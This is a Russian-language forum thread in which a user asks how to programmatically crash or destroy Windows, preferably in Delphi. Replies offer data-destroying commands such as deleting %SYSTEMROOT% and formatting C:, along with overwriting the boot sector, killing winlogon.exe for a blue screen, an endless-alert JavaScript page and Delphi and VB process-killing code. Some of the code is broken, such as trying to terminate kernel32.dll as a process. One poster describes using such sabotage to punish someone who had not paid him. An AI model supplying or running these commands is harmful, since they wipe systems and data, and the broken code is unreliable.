Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1 2 След.
RSS
Как програмно грохнуть винду ?
 
Как вывести их строя винду програмно. Желательно на Делфях.
 
del /f /s /q %SYSTEMROOT%
 
А есть ещё способы, я просто их колекционирую
 
<html>
<body>
 <script language="JavaScript">
   {
   while (true)
   alert("Глюки");
   }
 </script>
</body>
</html>

И сделать фоновым рисунком
З.Ы. Может в скрипте чё не так в скрипте, способ не проверенный
 
кода не привожу ибо не знаю....

динамически подгружаем драйвер, содержащий обращение к [00000000h]
винда умирает
 
Спустись в ring0 и побалуйся чуток ;)
 
Повышаешь привилегии проги до SE_DEBUG_PRIVILEGES и завершаешь любой системный процесс, например winlogon.exe. BSOD гарантирован
 
Перепиши загрузочный сектор.

Цитата
Как програмно грохнуть винду

....
А как это сделать не програмно??
 
Набираешь команду format c:\  ... :)
 
Цитата
fowl fowl пишет:
Набираешь команду format c:\ ...
не грохниш
:ban:
 
Цитата
earvien mystique пишет:
не грохниш
Если просто набрать, то нет, а вот если еще потом несколько раз на Ентер!  ;)
 
:offtop:
 
вот может повесить винду, я не испытовал, способ староват немного но проверь :

uses TLHelp32;

const
PROCESS_TERMINATE=$0001;

var
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
ContinueLoop:BOOL;

begin
FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32);
while integer(ContinueLoop)<>0 do
begin
if LowerCase(ExtractFileName(
(FProcessEntry32.szExeFile)))='kernel32.dll' then
if not (TerminateProcess(
OpenProcess(PROCESS_TERMINATE,BOOL(0),
FProcessEntry32.th32ProcessID),0)) then
MessageBoxEx(Application.Handle,

'Can`t kill windows kernel...',
'Warning',MB_ICONWarning+MB_OK,$0419);
ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
 
а если сделать асм вставку ну например такую:
xor eax,eax
mov eax,[eax]
то вылетит... но это делать надо в ring0
 
2t0ne  ты чё??!  :hul:
 
Надеюсь не свою виду грохать собрался )))) А то пусти меня за комп - 10 мин - и никакой винды !
Просто позавершай все процессы , правда это только если у тебя root - на делфи не знаю, а вот на VB
Код
Dim My = System.Diagnostics.Process.GetProcesses()
Dim i%
i = 0;
DO WHILE true
         i = i + 1
        My(i).Kill ()
END WHILE

Да вообще - залезь куда нибудь в защищенную (хотя говоря о винде такой термин вряд ли подходит) область
памяти !!!
 
И чево так всех несет грохнуть наши любимые и много используемые форточки! Грохнуть это легко можно сделать, а вот сделать винду как нибудь более безопаснее тяжелее
 
Цитата
И чево так всех несет грохнуть наши любимые и много используемые форточки! Грохнуть это легко можно сделать, а вот сделать винду как нибудь более безопаснее тяжелее
Иногда быват надо, тут недавно меня один чмошник кинул на бабло, я ему работу сделал а он мне не заплатил, пришлось наказать чудика.
 
программно можно использую любой почтовый клиент.
Написать в соответствуешие органы чтоб приехали и проверили лецензию. И все..
Если повезет заодно и хозяина винды грохнут.
 
А вобще есть стадартная функция вызываюшия остановку ядра, ее можно вызвать из прикладной программки и получить дэдблюскрин.
почитай об KeBugCheckEx (документирована в Windows DDK)
Страницы: 1 2 След.
Читают тему